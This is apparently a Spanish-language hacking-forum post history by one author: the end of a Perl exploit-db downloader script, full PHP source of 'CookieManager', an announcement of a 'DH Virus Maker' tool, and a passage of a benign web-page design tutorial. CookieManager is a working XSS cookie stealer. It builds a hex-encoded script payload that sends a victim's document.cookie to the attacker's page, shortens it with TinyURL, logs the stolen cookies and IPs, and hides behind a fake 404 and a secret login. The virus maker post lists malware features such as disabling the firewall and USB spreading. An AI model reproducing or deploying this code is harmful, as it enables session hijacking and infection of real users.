  202.                printear( "\n[+] File '" . $exploit_name . "' Downloaded !\n" );
  203.                chmod 0777, $titulo;
  204.            }
  205.            else {
  206.                printear("\n[-] WTF !\n");
  207.            }
  208.        }
  209.    }
  210.  
  211. }
  212.  
  213. sub by_read_exploit {
  214.  
  215.    printear_titulo("\n[+] Searching  ...\n\n");
  216.  
  217.    my $id     = $_[0];
  218.    my $code   = toma( "http://www.exploit-db.com/exploits/" . $id . "/" );
  219.    my $source = toma( "http://www.exploit-db.com/download/" . $id . "/" );
  220.  
  221.    if ( $code =~ /<h1 style="(.*?)">(.*?)<\/h1>/ ) {
  222.        my $titulo = $2;
  223.  
  224.        printear("[+] Title : ");
  225.        print $titulo. "\n";
  226.    }
  227.    else {
  228.        printear("[-] WTF !\n");
  229.    }
  230.  
  231.    if ( $code =~ /Author: (.*?)</ ) {
  232.        my $autor = $1;
  233.  
  234.        printear("[+] Author : ");
  235.        print $autor. "\n";
  236.    }
  237.    if ( $code =~ /Published: (.*?)</ ) {
  238.        my $fecha = $1;
  239.        printear("[+] Published : ");
  240.        print $fecha. "\n";
  241.    }
  242.  
  243.    if ( $code =~ /Vulnerable App: &nbsp;&nbsp; <a href="(.*?)">/ ) {
  244.        my $app = $1;
  245.        printear("[+] Vulnerable App : ");
  246.        print $app. "\n";
  247.    }
  248.  
  249.    print "\n-------------------------------------\n";
  250.    printear($source);
  251.    print "-------------------------------------\n";
  252.  
  253. }
  254.  
  255. sub by_search {
  256.  
  257.    my $query = $_[0];
  258.    my $page  = $_[1];
  259.  
  260.    printear_titulo("\n[+] Searching  ...\n\n");
  261.  
  262.    my $code =
  263.      toma( "http://www.exploit-db.com/search/?action=search&filter_page="
  264.          . $page
  265.          . "&filter_description="
  266.          . $query
  267.          . "&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve="
  268.      );
  269.  
  270.    my @dates   = "";
  271.    my @nombres = "";
  272.    my @tipos   = "";
  273.    my @autores = "";
  274.    my @links   = "";
  275.  
  276.    while ( $code =~ /<td class="list_explot_date">(.*?)<\/td>/migs ) {
  277.        my $date = $1;
  278.        push( @dates, $date );
  279.    }
  280.  
  281.    while ( $code =~
  282.        /<a href="http:\/\/www.exploit-db.com\/exploits\/(.*?)">(.*?)<\/a>/migs
  283.      )
  284.    {
  285.        my $id   = $1;
  286.        my $name = $2;
  287.        $name =~ s/&lt;//;
  288.        my $link = "http://www.exploit-db.com/exploits/" . $id;
  289.        push( @nombres, $name );
  290.        push( @links,   $link );
  291.    }
  292.  
  293.    while ( $code =~
  294.        /<a href="http:\/\/www.exploit-db.com\/platform\/(.*?)">(.*?)<\/a>/migs
  295.      )
  296.    {
  297.        my $type = $2;
  298.        push( @tipos, $type );
  299.    }
  300.  
  301.    while ( $code =~
  302. /<a href="http:\/\/www.exploit-db.com\/author\/(.*?)" title="(.*?)">/migs
  303.      )
  304.    {
  305.        my $autor = $2;
  306.        push( @autores, $autor );
  307.    }
  308.  
  309.    printear("[+] Exploits Found : ");
  310.    print int(@links) - 1 . "\n";
  311.  
  312.    for my $num ( 1 .. int(@links) - 1 ) {
  313.        printear("\n[+] Title : ");
  314.        print $nombres[$num] . "\n";
  315.        printear("[+] Date : ");
  316.        print $dates[$num] . "\n";
  317.        printear("[+] Type : ");
  318.        print $tipos[$num] . "\n";
  319.        printear("[+] Author : ");
  320.        print $autores[$num] . "\n";
  321.        printear("[+] Link : ");
  322.        print $links[$num] . "\n";
  323.    }
  324.  
  325. }
  326.  
  327. sub printear {
  328.    cprint( "\x036" . $_[0] . "\x030" );
  329. }
  330.  
  331. sub printear_logo {
  332.    cprint( "\x037" . $_[0] . "\x030" );
  333. }
  334.  
  335. sub printear_titulo {
  336.    cprint( "\x0310" . $_[0] . "\x030" );
  337. }
  338.  
  339. sub sintax {
  340.    printear("\n[+] Sintax : ");
  341.    print "perl $0 <option> <value>\n";
  342.    printear("\n[+] Options : \n\n");
  343.    print "-search <query> -page <count> : Search exploits in page\n";
  344.    print "-read_exploit <id exploit> : Read exploit\n";
  345.    print "-download <id exploit> : Download an exploit\n";
  346.    print "-download_all <query> -page <count> : Download all exploits\n";
  347.    printear("\n[+] Example : ");
  348.    print "perl exploitdb.pl -search smf -page 1\n";
  349.    copyright();
  350. }
  351.  
  352. sub head {
  353.    printear_logo("\n-- == Exploit DB Manager 0.6 == --\n\n");
  354. }
  355.  
  356. sub copyright {
  357.    printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
  358.    exit(1);
  359. }
  360.  
  361. sub toma {
  362.    return $nave->get( $_[0] )->content;
  363. }
  364.  
  365. #The End ?
  366.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
4  Foros Generales / Foro Libre / Re: El hacking y la soledad (?) en: 11 Febrero 2015, 22:56
@bytefloat : na , eso es algo que se dice pero no siempre es cierto , conozco a varias personas en la vida real que les gusta esto y son gente normal como cualquier otro , lo de estar todo el dia solo en la computadora es decision tuya.
5  Programación / PHP / Re: [PHP] CookieManager 0.5 en: 11 Febrero 2015, 22:25
ok , gracias por las sugerencias.

PD:  la siguiente version hace tiempo que esta terminada donde cambie totalmente el diseño y fixee los 30 XSS que tiene esta version xD.
6  Programación / PHP / [PHP] CookieManager 0.5 en: 6 Febrero 2015, 17:46
Un simple programa en PHP para ayudar con la vulnerabilidad XSS , en este programa tienen las siguientes opciones :

  • Cookie Stealer con generador de TinyURL
  • Pueden ver los cookies que les devuelve una pagina
  • Pueden crear cookies con los datos que quieran
  • Panel oculto con login para entrar usen ?poraca para encontrar al login

Un video con ejemplos de uso :



El codigo :

Código
  1. <?php
  2.  
  3. // CookieManager 0.5
  4. // (C) Doddy Hackman 2015
  5.  
  6. //Datos para el login
  7.  
  8. $username = "admin";
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; //admin
  10.  
  11. //
  12.  
  13. //Datos para la DB
  14.  
  15. $host  = "localhost";
  16. $userw = "root";
  17. $passw = "";
  18. $db    = "cookies";
  19.  
  20. //
  21.  
  22.  
  23. // Functions
  24.  
  25. function hex_encode($text)
  26. {
  27.    $texto = chunk_split(bin2hex($text), 2, '%');
  28.    return $texto = '%' . substr($texto, 0, strlen($texto) - 1);
  29. }
  30.  
  31. function parsear_cookie($leyendo)
  32. {
  33.  
  34.    $leyendo   = str_replace("comment=", "", $leyendo);
  35.    $leyendo   = str_replace("Set-Cookie: ", "", $leyendo);
  36.    $contenido = explode(";", $leyendo);
  37.  
  38.    $nombre       = "";
  39.    $valor_cookie = "";
  40.    $expires      = "";
  41.    $path         = "";
  42.    $domain       = "";
  43.    $secure       = "false";
  44.    $httponly     = "false";
  45.  
  46.    foreach ($contenido as $valor) {
  47.  
  48.        if (preg_match("/expires=(.*)/", $valor, $regex)) {
  49.            $expires = $regex[1];
  50.        }
  51.  
  52.        elseif (preg_match("/path=(.*)/", $valor, $regex)) {
  53.            $path = $regex[1];
  54.        } elseif (preg_match("/domain=(.*)/", $valor, $regex)) {
  55.            $domain = $regex[1];
  56.        } elseif (preg_match("/secure=(.*)/", $valor, $regex)) {
  57.            $secure = $regex[1];
  58.        } elseif (preg_match("/httponly=(.*)/", $valor, $regex)) {
  59.            $httponly = $regex[1];
  60.        }
  61.  
  62.        else {
  63.  
  64.            if (preg_match("/(.*)=(.*)/", $valor, $regex)) {
  65.                $nombre       = $regex[1];
  66.                $valor_cookie = $regex[2];
  67.            }
  68.  
  69.        }
  70.  
  71.    }
  72.  
  73.    return array(
  74.        $nombre,
  75.        $valor_cookie,
  76.        $expires,
  77.        $path,
  78.        $domain,
  79.        $secure,
  80.        $httponly
  81.    );
  82.  
  83. }
  84.  
  85. function ver_cookies_de_pagina($pagina)
  86. {
  87.    $cookies = "";
  88.    if (!function_exists('curl_exec')) {
  89.        $options = array(
  90.            'http' => array(
  91.                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
  92.            )
  93.        );
  94.        $context = stream_context_create($options);
  95.        file_get_contents($pagina);
  96.        foreach ($http_response_header as $valores) {
  97.            if (preg_match("/Set-Cookie/", $valores)) {
  98.                $valores = str_replace("Set-Cookie:", "", $valores);
  99.                $cookies = $cookies . $valores . "<br>";
  100.            }
  101.        }
  102.    } else {
  103.        $nave = curl_init($pagina);
  104.        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  105.        curl_setopt($nave, CURLOPT_RETURNTRANSFER, 1);
  106.        curl_setopt($nave, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
  107.        curl_setopt($nave, CURLOPT_HEADER, 1);
  108.        curl_setopt($nave, CURLOPT_NOBODY, 1);
  109.        $contenido = curl_exec($nave);
  110.        curl_close($nave);
  111.        $leyendo = explode("\n", trim($contenido));
  112.  
  113.        foreach ($leyendo as $valores) {
  114.            if (preg_match("/Set-Cookie/", $valores)) {
  115.                $valores = str_replace("Set-Cookie:", "", $valores);
  116.                $cookies = $cookies . $valores . "<br>";
  117.            }
  118.        }
  119.    }
  120.    return $cookies;
  121. }
  122.  
  123. function toma($target)
  124. {
  125.    $code = "";
  126.    if (function_exists('curl_exec')) {
  127.        $nave = curl_init($target);
  128.        curl_setopt($nave, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
  129.        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  130.        curl_setopt($nave, CURLOPT_RETURNTRANSFER, true);
  131.        $code = curl_exec($nave);
  132.    } else {
  133.        $options = array(
  134.            'http' => array(
  135.                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
  136.            )
  137.        );
  138.        $context = stream_context_create($options);
  139.        $code    = file_get_contents($target);
  140.    }
  141.    return $code;
  142. }
  143.  
  144. //
  145.  
  146.  
  147. mysql_connect($host, $userw, $passw);
  148.  
  149. if (isset($_GET['id'])) {
  150.  
  151.    if (empty($_GET['id'])) {
  152.        error();
  153.    }
  154.  
  155.    $dia = mysql_real_escape_string(date("d.m.Y"));
  156.    $ip  = mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
  157.  
  158.    if ($ip == "::1") {
  159.        $ip = "127.0.0.1";
  160.    }
  161.  
  162.    $info = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
  163.    $ref  = mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
  164.  
  165.    $cookie = mysql_real_escape_string($_GET['id']);
  166.  
  167.    mysql_query("INSERT INTO todo(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
  168.  
  169.    header("Location:http://www.google.com.ar");
  170.  
  171. }
  172.  
  173. elseif (isset($_COOKIE['portal'])) {
  174.  
  175.    $st = base64_decode($_COOKIE['portal']);
  176.  
  177.    $plit = explode("@", $st);
  178.    $user = $plit[0];
  179.    $pass = $plit[1];
  180.  
  181.    if ($user == $username and $pass == $password) {
  182.  
  183.        if (isset($_POST['makecookies'])) {
  184.            //setcookie($_POST['name_cookie'],$_POST['value_cookie'],$_POST['expire_cookie'],$_POST['path_cookie'],$_POST['domain_cookie'],$_POST['secure_cookie'],$_POST['httponline_cookie'])) {
  185.  
  186.            if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200, $_POST['path_cookie'], $_POST['domain_cookie'])) {
  187.                echo "<script>alert('Cookies Maked');</script>";
  188.            } else {
  189.                echo "<script>alert('Error making Cookie');</script>";
  190.            }
  191.        }
  192.  
  193.        echo "<title>CookieManager 0.3</title>";
  194.  
  195.        echo "<STYLE type=text/css>
  196.  
  197. body,a:link {
  198. background-color: #000000;
  199. color:orange;
  200. Courier New;
  201. cursor:crosshair;
  202. font-size: small;
  203. }
  204.  
  205. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  206. font: normal 10px Verdana, Arial, Helvetica,
  207. sans-serif;
  208. background-color:black;
  209. color:orange;
  210. border: solid 1px orange;
  211. border-color:orange
  212. }
  213.  
  214. a:link,a:visited,a:active {
  215. color: orange;
  216. font: normal 10px Verdana, Arial, Helvetica,
  217. sans-serif;
  218. text-decoration: none;
  219. }
  220.  
  221. </style>
  222. ";
  223.  
  224.        $edit_name       = "";
  225.        $edit_value      = "";
  226.        $edit_expire     = "";
  227.        $edit_path       = "";
  228.        $edit_domain     = "";
  229.        $edit_secure     = "";
  230.        $edit_httponline = "";
  231.  
  232.        if (isset($_POST['instalar'])) {
  233.  
  234.            $todo = "create table todo (
  235. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  236. fecha TEXT NOT NULL,
  237. ip TEXT NOT NULL,
  238. info TEXT NOT NULL,
  239. cookie TEXT NOT NULL,
  240. PRIMARY KEY (id));
  241. ";
  242.  
  243.            if (mysql_query($todo)) {
  244.                echo "<script>alert('Installed');</script>";
  245.            } else {
  246.                echo "<script>alert('Error');</script>";
  247.            }
  248.        }
  249.  
  250.        if (mysql_num_rows(mysql_query("show tables like 'todo'"))) {
  251.  
  252.            //
  253.  
  254.            if (isset($_GET['del'])) {
  255.                if (is_numeric($_GET['del'])) {
  256.                    if (@mysql_query("delete from todo where id='" . $_GET['del'] . "'")) {
  257.                        echo "<script>alert('Deleted');</script>";
  258.                    } else {
  259.                        echo "<script>alert('Error');</script>";
  260.                    }
  261.                }
  262.            }
  263.  
  264.            echo "<center>";
  265.            echo "<br><h1>CookieManager</h1><br>";
  266.  
  267.  
  268.            // Cookies Found
  269.  
  270.  
  271.            $re  = mysql_query("select * from todo order by id ASC");
  272.            $con = mysql_num_rows($re);
  273.  
  274.            if ($con == 0) {
  275.                echo "<script>alert('Cookies not found');</script>";
  276.            } else {
  277.  
  278.                echo "<table border=1 width=1100><td width=1100><center><h2>Cookies Found : $con</h2></center></table>";
  279.                echo "<table border=1 width=1100>";
  280.                echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
  281.  
  282.                while ($ver = mysql_fetch_array($re)) {
  283.                    $cookies_view = $ver[4];
  284.                    list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($cookies_view);
  285.  
  286.                    echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[3]) . "</td>";
  287.                    echo "<td>" . htmlentities($cookies_view) . "</td><td>" . htmlentities($nombre) . "</td><td>" . htmlentities($valor_cookie) . "</td><td><a href=?del=" . htmlentities($ver[0]) . ">Del</a></td><tr>";
  288.  
  289.                }
  290.  
  291.                echo "</table>";
  292.  
  293.            }
  294.  
  295.            //
  296.  
  297.            // Form para target
  298.  
  299.            echo "
  300. <form action='' method=POST>
  301. <center><br><table border=1>
  302. <td><center><h2>Enter Target</h2></center></td><tr>
  303. <td><input type=text size=50 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
  304. <td><input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'><input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
  305. </table></center>
  306. </form>
  307.  
  308. ";
  309.  
  310.            // URLS
  311.  
  312.            if (isset($_POST['generateurl'])) {
  313.                echo "<br><table border=1>
  314. <td><center><h2>URL Generated</h2></center></td><tr>
  315. <td><textarea cols=50 name=code readonly>\n";
  316.                $script         = hex_encode("<script>document.location='http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
  317.                //echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
  318.                $resultado_code = toma("http://tinyurl.com/api-create.php?url=" . $_POST['target'] . $script);
  319.                echo htmlentities($resultado_code);
  320.                echo "\n</textarea></td></table>";
  321.            }
  322.            //
  323.  
  324.            // Get Cookies
  325.  
  326.            if (isset($_POST['getcookies'])) {
  327.                echo "<br><table border=1>
  328. <td><center><h2>Console</h2></center></td><tr>
  329. <td><textarea cols=50 rows=10 name=code readonly>\n";
  330.                $resultado_code = ver_cookies_de_pagina($_POST['target']);
  331.                echo htmlentities($resultado_code);
  332.                echo "\n</textarea></td></table>";
  333.  
  334.                $leyendo_esto = split("\n", $resultado_code);
  335.  
  336.                list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($leyendo_esto[0]);
  337.  
  338.                $edit_name       = $nombre;
  339.                $edit_value      = $valor_cookie;
  340.                $edit_expire     = $expires;
  341.                $edit_path       = $path;
  342.                $edit_domain     = $domain;
  343.                $edit_secure     = $secure;
  344.                $edit_httponline = $httponly;
  345.  
  346.            }
  347.  
  348.            //
  349.  
  350.            // Form para crear cookies
  351.  
  352.            echo "
  353. <form action='' method=POST>
  354. <center><br><table border=1>
  355. <td><center><h2>Cookies Maker</h2></center></td><tr>
  356. <td>Name : <input type=text size=50 name=name_cookie value='$edit_name'=></td><tr>
  357. <td>Value : <input type=text size=50 name=value_cookie value='$edit_value'=></td><tr>
  358. <td>Expires : <input type=text size=50 name=expire_cookie value='$edit_expire'=></td><tr>
  359. <td>Path : <input type=text size=50 name=path_cookie value='$edit_path'=></td><tr>
  360. <td>Domain : <input type=text size=50 name=domain_cookie value='$edit_domain'=></td><tr>
  361. <td>Secure : <input type=text size=50 name=secure_cookie value='$edit_secure'=></td><tr>
  362. <td>HTTP Online : <input type=text size=50 name=httponline_cookie value='$edit_httponline'=></td><tr>
  363. <td><input type=submit name=makecookies style='height: 25px; width: 100px' value='Make Cookies'></td>
  364. </table></center>
  365. </form>";
  366.  
  367.            //
  368.  
  369.            //
  370.  
  371.            echo "<br><h1>(C) Doddy Hackman 2015</h1><br><br>";
  372.  
  373.            //
  374.  
  375.        } else {
  376.            echo "
  377. <center><br><br>
  378. <form action='' method=POST>
  379. <h2>Deseas instalar CookieManager ?</h2><br><br>
  380. <input type=submit name=instalar value=Instalar>
  381. </form>";
  382.        }
  383.        exit(1);
  384.    }
  385. } elseif (isset($_POST['login'])) {
  386.    if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
  387.        setcookie("portal", base64_encode($_POST['user'] . "@" . md5($_POST['password'])));
  388.        echo "<script>alert('Welcome idiot');</script>";
  389.        echo '<meta http-equiv="refresh" content=0;URL=>';
  390.    } else {
  391.        echo "<script>alert('Continued to participate');</script>";
  392.    }
  393. } elseif (isset($_GET['poraca'])) {
  394.  
  395.    echo "
  396.  
  397. <STYLE type='text/css'>
  398.  
  399. body,input {
  400. background-color: #000000;
  401. color:orange;
  402. font-family:
  403. Courier New;
  404. cursor:crosshair;
  405. font-size: small;
  406. }
  407. </style>
  408.  
  409. <h1><br><center><font color=green>Login</font></center></h1>
  410. <br><br><center>
  411. <form action='' method=POST>
  412. Username : <input type=text name=user><br>
  413. Password : <input type=password name=password><br><br>
  414. <input type=submit name=login value=Enter><br>
  415. </form>
  416. </center><br><br>";
  417. } else {
  418.  
  419.    error();
  420.  
  421. }
  422.  
  423. function error()
  424. {
  425.    echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  426. <html><head>
  427. <title>404 Not Found</title>
  428. </head><body>
  429. <h1>Not Found</h1>
  430. <p>The requested URL was not found on this server.</p>
  431. </body></html>';
  432.    exit(1);
  433. }
  434.  
  435.  
  436.  
  437. // The End ?
  438.  
  439.  
  440. ?>
  441.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
7  Programación / Programación General / [Delphi] DH Virus Maker 0.3 en: 30 Enero 2015, 16:03
Hola , esta vez les traigo un generador de virus que hice en Delphi con las siguientes opciones :

  • Desactivar Firewall
  • Apagar
  • Reiniciar
  • Cerrar sesion
  • Cambiar el texto de la taskbar
  • Ejecutar comandos
  • Desactivar regedit
  • Ocultar taskbar
  • Ocultar iconos
  • Volver loca la hora
  • Cargar cada vez que inicia Windows
  • Abrir lectora
  • Enviar pulsaciones de teclado con SendKeys
  • Matar proceso por PID
  • Cargar Word y hacer que escriba solo
  • Volver loco al mouse
  • Enviar mensajes con msgbox
  • Desactivar Taskmgr
  • Apagar el monitor
  • Realizar ruidos con Beep
  • USB Spread

Incluye antidoto para las siguientes opciones :

  • Activar Firewall
  • Mostrar taskbar
  • Activar taskmgr
  • Borrar los rastros de USB Spread
  • Activar regedit
  • Borrar el startup creado
  • Restaurar el texto del taskbar

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
8  Programación / PHP / [Guia] Creacion de una pagina con BD en: 23 Enero 2015, 16:47
[Titulo] : Creacion de una pagina con BD
[Autor] : Doddy Hackman

[Temario]

--========================================================--

0x00 : Introduccion
0x01 : Creacion del diseño de la pagina
0x02 : Creacion un un logo estilo GTA
0x03 : Creacion de un footer animado
0x04 : Creacion de botones en Fireworks
0x05 : Creacion de un menu desplegable
0x06 : Creacion un panel de administracion

--========================================================--

0x00 : Introduccion

En este manual vamos a ver como hacer una pagina web en PHP que tengo un sistema de noticias y un panel de administracion y para poder entender este manual necesitan conocer HTML,CSS y PHP por lo menos de forma basica para entender su contenido y tambien necesitan los siguientes programas :

* Adobe Dreamweaver
* Adobe Photoshop
* Adobe Fireworks
* XAMPP O Easy PHP
* Anim-FX
* GifCam
* Un pack de imagenes que pueden descargar aca que contiene los fondos que necesitan en el manual y los ultimos dos programas

Cuando descarguen el pack copian los datos a una carpeta llamada "images" para usar durante el manual.

0x01 : Creacion del diseño de la pagina

Ahora vamos a hacer un diseño como este :



Para eso vamos a tener que seguir los siguientes pasos :

Descargamos el pack que esta en la sección de "Requisitos" que contiene las imagenes necesarias para hacer la pagina de ejemplo.
 
Iniciamos el Dreamweaver y creamos una nueva pagina como PHP , una vez creado guardamos el proyecto con formato PHP , el directorio puede ser cualquiera.

Despues copiamos en el directorio de la pagina la carpeta "images" del pack en el directorio que eligieron para guardar la pagina.

Ahora cambiamos volvemos a Dreamweaver y cambiamos el titulo de la pagina "Documento sin título" por "Plantilla".

Despues agregamos <center> entre el inicio y final del <body> para centrar la pagina.

Ahora nos vamos a "Insertar -> Objectos de diseño -> Etiqueta DIV" y despues ponemos como nombre de clase "container" y le damos a "Nueva regla" , le damos al boton "aceptar" a la ventana que se nos aparece , como es la primera vez que usamos un div nos va a preguntar con que nombre guardamos el css , entonces ponganle "style.css" y guarden , despues de eso nos va a aparecer una ventana nueva , en esa ventana nos vamos a la categoria "Cuadro" y ponemos las dimensiones 1050x768 , 1050 de ancho y 768 de largo , le damos al boton "aceptar" y de nuevo aceptar a la ventana que se nos aparece , despues borren el texto por defecto del container.

Todo como en las imagenes :











Para crear el banner hagan los mismos pasos pero ponganle de nombre "banner" y las dimensiones "1024x100" , ponganle 3 px de margen a todos y de relleno pongan los valores "5,10,5,10" seguidos , tambien pongan la opcion "flotar" en alineacion izquierda.

Como en la imagen :



* Cambien el texto por defecto por "Banner"

Ahora para crear el contenido vamos a crear otro div con el nombre de "box" con las dimensiones 1024x500 , ponganle 3 px de margen a todos y de relleno tambien 5,10,5,10 , tambien pongan alineacion izquierda.

Como en la imagen :



* Borren el texto por defecto

Despues de insertar el box vamos a agregar otro div que sera el primer menu de categorias o lo que sea , de nombre pongan "menu" y tendra las dimensiones 200x500 , alineacion izquierda , margen 3 a todo y de relleno pongan 5,10,5,10

Como en la imagen :



* Cambien el texto por defecto por "Menu"

Ahora para crear lo mas importante que es el body vamos a tener que crear otro div nuevo con el nombre de "body" con las dimensiones 566x500 , alineacion izquierda , margen 3 a todo , y de relleno solo pongan el primero que seria 5 los demas lo dejan en blanco.

Como en la imagen :



* Cambien el texto por defecto por "Body"

Ahora para crear la parte de afiliados vamos a crear otro div con el nombre de "otromenu" , las dimensiones serian de 200x500 , alineacion izquierda , margen 3 para todo y de relleno 5,10,5,10

Como en la imagen :



* Cambien el texto por defecto por "OtroMenu"

Despues de eso ahora vamos al div final que es el footer , entonces creamos otro div con el nombre de "footer" con las dimensiones 1024x100 , margen 3 a todos menos al inferior que sera 10 , como relleno ponemos 5,10,5,10 y tambien le ponemos alineacion izquierda.

Como en la imagen :



* Cambien el texto por defecto por "Footer"

Ahora comenzamos con el codigo CSS , primero vamos a la pestaña de style.css y en la parte del codigo cambien en las etiquetas banner,box,menu,body,otromenu y footer el "height" por "min-height" esto nos va a ayudar que cuando el texto sobrepase el div , el div se alargara.

Despues agregamos el siguiente codigo al archivo CSS para poner una imagen de fondo :

Código
  1. body {
  2.    background:transparent url("images/fondo1.jpg") repeat scroll 0 0;
  3.    color:white;
  4.    font-family:helvetica,arial,sans-serif;
  5.    font-size:14px;
  6.    text-align:center;
  7. }
  8.  

En las etiquetas banner,box,footer agreguen el siguiente codigo para darle bordes a los div y una imagen de fondo :

Código
  1.    background-image:url("images/fondo2.jpg");
  2.    background-color:#000;
  3.    border: 3px dashed #00FFFF;
  4.  

Si hacemos F12 para ver como nos queda la pagina se nos deberia ver algo asi en el navegador :



Ahora agregamos el siguiente codigo al archivo CSS , para poder agregar el cuadro en el que estaran las categorias,posts y los afiliados :

Código
  1. .categorias {
  2.    color:white;
  3.    border: 3px dashed #00FFFF;
  4.    width:200px;
  5.    word-wrap: break-word;
  6. }
  7.  
  8. .post {
  9.    background-image:url("images/fondo2.jpg");
  10.    background-color:#000;
  11.    color:white;
  12.    border: 3px dashed #00FFFF;
  13.    margin-bottom:10px;
  14.    width:560px;
  15.    word-wrap: break-word;
  16. }
  17.  


Despues de eso agregamos el siguiente codigo entre las etiquetas "menu" del archivo PHP que vendria a ser las "Categorias" :

Código
  1. <div class="categorias">
  2. <h3>Categorias</h3>
  3.  Link1<br />
  4.  Link2<br />
  5.  Link3<br />
  6.  Link4<br />
  7.  Link5<br />
  8.  Link6<br />
  9.  Link7<br />
  10.  Link8<br />
  11.  Link9<br />
  12.  Link10<br />
  13.  <br />
  14. </div>
  15.  

Ahora vamos a por los afiliados , vamos a agregar el siguiente codigo entre las etiquetas "otromenu" en el codigo del archivo PHP :

Código
  1. <div class="categorias">
  2. <h3>Afiliados</h3>
  3.  Link1<br />
  4.  Link2<br />
  5.  Link3<br />
  6.  Link4<br />
  7.  Link5<br />
  8.  Link6<br />
  9.  Link7<br />
  10.  Link8<br />
  11.  Link9<br />
  12.  Link10<br />
  13.  <br />
  14. </div>
  15.  

Despues vamos a agregar el siguiente codigo entre las etiquetas "body" para colocar noticias de ejemplo en el archivo PHP :

Código
  1. <div class="post">
  2. <h3>Noticia1</h3>
  3. <p>Contenido de Noticia1</p>
  4. </div>
  5.  
  6. <div class="post">
  7. <h3>Noticia2</h3>
  8. <p>Contenido de Noticia2</p>
  9. </div>
  10.  
  11.  
  12. <div class="post">
  13. <h3>Noticia3</h3>
  14. <p>Contenido de Noticia3</p>
  15. </div>
  16.  
  17.  
  18. <div class="post">
  19. <h3>Noticia4</h3>
  20. <p>Contenido de Noticia4</p>
  21. </div>
  22.  
  23.  
  24. <div class="post">
  25. <h3>Noticia5</h3>
  26. <p>Contenido de Noticia5</p>
  27. </div>
  28.  
  29.  
  30. <div class="post">
  31. <h3>Noticia6</h3>
  32. <p>Contenido de Noticia6</p>
  33. </div>
  34.  

Todo el codigo HTML del archivo PHP nos deberia haber quedado algo asi :

Código
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  4. <title>Plantilla</title>
  5. <link href="style.css" rel="stylesheet" type="text/css" />
  6. </head>
  7.  
  8. <div class="container">
  9.  <div class="banner">Banner</div>
  10.  <div class="box">
  11.    <div class="menu">
  12.    <div class="categorias">
  13. <h3>Categorias</h3>
  14.  Link1<br />
  15.  Link2<br />
  16.  Link3<br />
  17.  Link4<br />
  18.  Link5<br />
  19.  Link6<br />
  20.  Link7<br />
  21.  Link8<br />
  22.  Link9<br />
  23.  Link10<br />
  24.  <br />
  25. </div>
  26.    </div>
  27.    <div class="body">
  28. <div class="post">
  29. <h3>Noticia1</h3>
  30. <p>Contenido de Noticia1</p>
  31. </div>
  32.  
  33. <div class="post">
  34. <h3>Noticia2</h3>
  35. <p>Contenido de Noticia2</p>
  36. </div>
  37.  
  38.  
  39. <div class="post">
  40. <h3>Noticia3</h3>
  41. <p>Contenido de Noticia3</p>
  42. </div>
  43.  
  44.  
  45. <div class="post">
  46. <h3>Noticia4</h3>
  47. <p>Contenido de Noticia4</p>
  48. </div>
  49.  
  50.  
  51. <div class="post">
  52. <h3>Noticia5</h3>
  53. <p>Contenido de Noticia5</p>
  54. </div>
  55.  
  56.  
  57. <div class="post">
  58. <h3>Noticia6</h3>
  59. <p>Contenido de Noticia6</p>
  60. </div>
  61.    </div>
  62.    <div class="otromenu">
  63. <div class="categorias">
  64. <h3>Afiliados</h3>
  65.  Link1<br />
  66.  Link2<br />
  67.  Link3<br />
  68.  Link4<br />
  69.  Link5<br />
  70.  Link6<br />
  71.  Link7<br />
  72.  Link8<br />
  73.  Link9<br />
  74.  Link10<br />
  75.  <br />
  76. </div>
  77.    </div>
  78.  </div>
  79.  <div class="footer">Footer</div>
  80. </div>
  81. </body>
  82. </html>
  83.  

Si hicieron todo bien la pagina les deberia haber quedado algo como esto :



Eso seria todo por ahora en el diseño.

0x02 : Creacion un logo estilo GTA

